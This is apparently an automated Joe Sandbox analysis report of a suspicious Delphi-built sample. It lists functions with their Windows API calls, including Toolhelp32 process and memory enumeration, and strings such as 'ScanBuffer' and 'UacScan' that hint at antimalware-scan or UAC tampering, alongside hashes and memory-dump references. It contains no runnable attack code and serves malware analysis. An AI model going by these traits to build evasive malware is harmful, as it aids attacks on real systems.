Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: cb3aa1242804cba07520796cbbeffe643b6ab1757e9ef67ace87339588df8d4b
Instruction ID: 8e77e0bc0e81a356b2570136944f9e0d4c16e12a5bdefa419c827e38dc55ef09
Opcode Fuzzy Hash: cb3aa1242804cba07520796cbbeffe643b6ab1757e9ef67ace87339588df8d4b
Instruction Fuzzy Hash: 32E0E5352802087BE311FBA6FD51D8E7BBDDB8B700B6194B5F40093550DA316D018860

Function 02EC5868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02EC0000,?,00000105), ref: 02EC5886

Part of subcall function 02EC5ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02EC0000,02EEE790), ref: 02EC5AE8
Part of subcall function 02EC5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02EC0000,02EEE790), ref: 02EC5B06
Part of subcall function 02EC5ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02EC0000,02EEE790), ref: 02EC5B24
Part of subcall function 02EC5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02EC5B42
Part of subcall function 02EC5ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02EC5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02EC5B8B
Part of subcall function 02EC5ACC: RegQueryValueExA.ADVAPI32(?,02EC5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02EC5BD1,?,80000001), ref: 02EC5BA9
Part of subcall function 02EC5ACC: RegCloseKey.ADVAPI32(?,02EC5BD8,00000000,?,?,00000000,02EC5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02EC5BCB

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction ID: 6ee1cfe08db304bd08d3ec7082df935fba80da13f779b6893e0e1ee9dff05dee
Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
Instruction Fuzzy Hash: 02E06D72A403149FCB10DE9CC9C0B8633D8AB08754F549965ED58DF346D7B1E9208BE0

Function 02EC7DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02EC7DF4

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: 94e53059ba7f0012cd2ed43e635ede58c73b2ebe715994a268202562fd3e1c17
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: 75D05BB23491507BE224965A5D44EA75BDCCFC6770F10463DF568C7180D7208C01C671

Function 02EC7E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02EE356F,ScanString,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanBuffer,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,Initialize), ref: 02EC7E8B

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
Instruction ID: aec7f552f372910844f55f654ed8bf7c896589320776d703abd5a180a0687164
Opcode Fuzzy Hash: afc78bd9077d6c58708d8e6086c771a503970b8d403f064203e8295bf92b6468
Instruction Fuzzy Hash: 76C08CF32912010E1E60A6FC1EC42AA42CD098413D770BE2DF838CA2C1D3169C232C20

Function 02EC7E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02EE041F,ScanString,02F47380,02EEB7B8,OpenSession,02F47380,02EEB7B8,ScanString,02F47380,02EEB7B8,UacScan,02F47380,02EEB7B8,UacInitialize), ref: 02EC7E67

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
Instruction ID: bb6c4671b717a5c8369240fa3169219e3342650afd3cde14368d2ad1259db438
Opcode Fuzzy Hash: b941db7ab817fb70c4c787fb81e96e0e2b9547ca50c7f884e0651a38d8287ef1
Instruction Fuzzy Hash: F0C08CF22812000E5A54A6FC2EC425A52CE094423C374BA2DF838C62E2D32298A32C10

Function 02EC4C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02EC4C8B

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction ID: c40681f869b767538026166e669d6a225f85b56f125839d19be4fc58278e6186
Opcode Fuzzy Hash: 2e328a45cd58c208c03ca67c8e7eeb38812660f114415d6457ecd42c0c7951bb
Instruction Fuzzy Hash: C5C012A668023057FB2156D9EEC0B9662DC9B05298B2450A5A408DB2A5E360D80156A0

Function 02EEC35C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02EEC350,00000000,00000001), ref: 02EEC36C

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 49c1c3190b9151b0727bb2a38b319954a91a0b9d8cf41803ac23844e161a22dc
Instruction ID: 3c76962fdabdcbc67d51f638ec7214cd1688da2f8b24b2cd5185835dddaecb3b
Opcode Fuzzy Hash: 49c1c3190b9151b0727bb2a38b319954a91a0b9d8cf41803ac23844e161a22dc
Instruction Fuzzy Hash: 6AC048B1391B002AFA10A6A55C82F322A9DD306B11F20A056B609AA2C5D2A658408E68

Function 02EC4C38 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02EC4C3F

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction ID: 63b899d10dd593a41244a141714c9bd06b4310249d5939ce1fc0ce38e3a2ea8e
Opcode Fuzzy Hash: c6798f38304dee73ceb65798926069c1248633c6a97c564d7c3bc885b6e1b3e2
Instruction Fuzzy Hash: 46B092292C820515FA1822E24F10BF2044C0B5128AFA4B059AF19C80E5FA00C0039836

Function 02EC4C50 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02EC4C57

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
Instruction ID: 4095003eb393fdb8a0df9870ffbaf6d6517a14e533b38d52df3a2865f2dba342
Opcode Fuzzy Hash: 05d179978c84ba0f1e4fbba25b3378a330cde3301f36e90d6d70bb160c3e4cb6
Instruction Fuzzy Hash: 8EA0129C040202055A0A2298422041E11222EC02443A4D09C1104090554A2580027820

Function 02EC15CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02EC1A03,?,02EC1FC1), ref: 02EC15E2

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ed1e4bf7f4dfea21596e598c36f5a73c725b628a79c1b7dbb49e0bc2d79c6c96
Instruction ID: 67f75938cc8995733c9a3eacd0a806b903c324538b6d1e1ecf9a8f0180a966e9
Opcode Fuzzy Hash: ed1e4bf7f4dfea21596e598c36f5a73c725b628a79c1b7dbb49e0bc2d79c6c96
Instruction Fuzzy Hash: 51F031F4B413044FDB05DFB99940705BAE6E78A384F20857DD609EB384E7B584128B00

Function 02EC1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02EC1FC1), ref: 02EC16A4

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9d9c3c15b457fe2a8aa6b32e423e1891741a0579f2c2e8f750a927ae0ef90c24
Instruction ID: d3c08575459abd802023e7ddce543a0caf998f32b47a18dbef04cd6282348e07
Opcode Fuzzy Hash: 9d9c3c15b457fe2a8aa6b32e423e1891741a0579f2c2e8f750a927ae0ef90c24
Instruction Fuzzy Hash: 08F024B6B407986BD710DF8A9C80B82FBD8FB15354F104139FA0CDB340CBB0A8108B94

Function 02EC16E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02EC1FE4), ref: 02EC1704

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5d2a76e6790dcf207813940990b72fd48e7d360a570c2198eb6815bf262b145e
Instruction ID: ad74231b13ba3dca2f973c1198886afed56a0ca8c2b51bb8c4851e0fea2e1445
Opcode Fuzzy Hash: 5d2a76e6790dcf207813940990b72fd48e7d360a570c2198eb6815bf262b145e
Instruction Fuzzy Hash: ADE086793403016FD7105AB95E40B52BBDCEB55654F349479F50DDF242D6A0E8128B60

Non-executed Functions

Function 02EDAB1C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02EDADA3,?,?,02EDAE35,00000000,02EDAF11), ref: 02EDAB30
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02EDAB48
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02EDAB5A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02EDAB6C
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02EDAB7E
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02EDAB90
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02EDABA2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02EDABB4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02EDABC6
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02EDABD8
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02EDABEA
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02EDABFC
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02EDAC0E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02EDAC20
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02EDAC32
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02EDAC44
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02EDAC56

Strings

Process32First, xrefs: 02EDABAC
Heap32First, xrefs: 02EDAB76
Process32NextW, xrefs: 02EDABE2
Module32NextW, xrefs: 02EDAC4E
Process32FirstW, xrefs: 02EDABD0
Toolhelp32ReadProcessMemory, xrefs: 02EDAB9A
Heap32ListNext, xrefs: 02EDAB64
Module32Next, xrefs: 02EDAC2A
Heap32Next, xrefs: 02EDAB88
Heap32ListFirst, xrefs: 02EDAB52
Module32First, xrefs: 02EDAC18
Thread32Next, xrefs: 02EDAC06
kernel32.dll, xrefs: 02EDAB2B
Module32FirstW, xrefs: 02EDAC3C
CreateToolhelp32Snapshot, xrefs: 02EDAB40
Thread32First, xrefs: 02EDABF4
Process32Next, xrefs: 02EDABBE

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 6fa1289e8470c0183abd50d974a4bee51ae1fec43b649518229573499b953a31
Instruction ID: f151b7df8162fa152c5992ecc5cbd75da7c97dba37192007b9b61e99c6629eee
Opcode Fuzzy Hash: 6fa1289e8470c0183abd50d974a4bee51ae1fec43b649518229573499b953a31
Instruction Fuzzy Hash: 77310EB4AC02549FEF10FFB49984A2AB3E8AF56251710AD75B401CF304E7B4A552CF12

Function 02EC5908 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02EC6C14,02EC0000,02EEE790), ref: 02EC5925
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02EC593C
lstrcpynA.KERNEL32(?,?,?), ref: 02EC596C
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02EC6C14,02EC0000,02EEE790), ref: 02EC59D0
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02EC6C14,02EC0000,02EEE790), ref: 02EC5A06
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02EC6C14,02EC0000,02EEE790), ref: 02EC5A19
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02EC6C14,02EC0000,02EEE790), ref: 02EC5A2B
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02EC6C14,02EC0000,02EEE790), ref: 02EC5A37
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02EC6C14,02EC0000), ref: 02EC5A6B
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02EC6C14), ref: 02EC5A77
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02EC5A99

Strings

kernel32.dll, xrefs: 02EC5920
\, xrefs: 02EC5A49
GetLongPathNameA, xrefs: 02EC5933

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 601a8a0ae9b361dd454e14d0fc449c82c852ff908bb74d4bcfb38ec73b96c684
Instruction ID: 844209abe0d4f179a4976b9875320fbc05d059987a0854ee310a31b94c583e96
Opcode Fuzzy Hash: 601a8a0ae9b361dd454e14d0fc449c82c852ff908bb74d4bcfb38ec73b96c684
Instruction Fuzzy Hash: F4418371D80219AFDB10DEE8CE88ADEB3BDAF04344F6495A9E158E7241D770EE458F50

Function 02EC5BD8 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02EC5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02EC5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02EC5BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02EC5C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02EC5C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02EC5C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02EC5CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02EC5CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02EC5CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02EC5CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 02EC5B38
Software\Borland\Locales, xrefs: 02EC5AFC, 02EC5B1A

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction ID: 34a51e0ebb2095220e6dbf06ac751cc4b29d5f49e69651d5d98d3bb1d5997e85
Opcode Fuzzy Hash: 8b0727ff8eacdafd1fa5d25497bf18fe7d1f96c39f01eed16574b8fc4031b0a7
Instruction Fuzzy Hash: D2310971E8021C29EB25C6F4CD45FDFB7AD8B00384F6091A9B608F6181D774DE468F50

Function 02EC7FD4 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02EC7FF5

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

